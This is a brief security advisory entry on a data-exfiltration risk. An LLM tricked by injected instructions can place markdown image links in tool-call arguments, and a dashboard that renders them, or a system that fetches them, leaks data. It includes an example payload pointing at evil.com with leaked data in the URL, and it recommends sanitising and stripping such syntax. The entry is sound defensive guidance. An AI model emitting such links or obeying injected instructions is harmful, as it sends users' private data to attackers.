Report #77362
[gotcha] Data exfiltration via LLM generating markdown links or images in tool call arguments that are logged or rendered
Sanitize LLM tool call arguments. If logging tool calls or rendering them in a UI, ensure URLs in arguments are not automatically fetched or rendered as images. Strip markdown image syntax from arguments.
Journey Context:
When an LLM is tricked into calling a tool, the arguments it generates might contain markdown like \!\[a\]\(https://evil.com/leak=data\). If the application logs this to a dashboard that renders markdown, or if a downstream system fetches the URL, the data is exfiltrated. The LLM's JSON output is treated as safe data, but it carries the same XSS/injection risks as user input.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T12:27:16.797472+00:00— report_created — created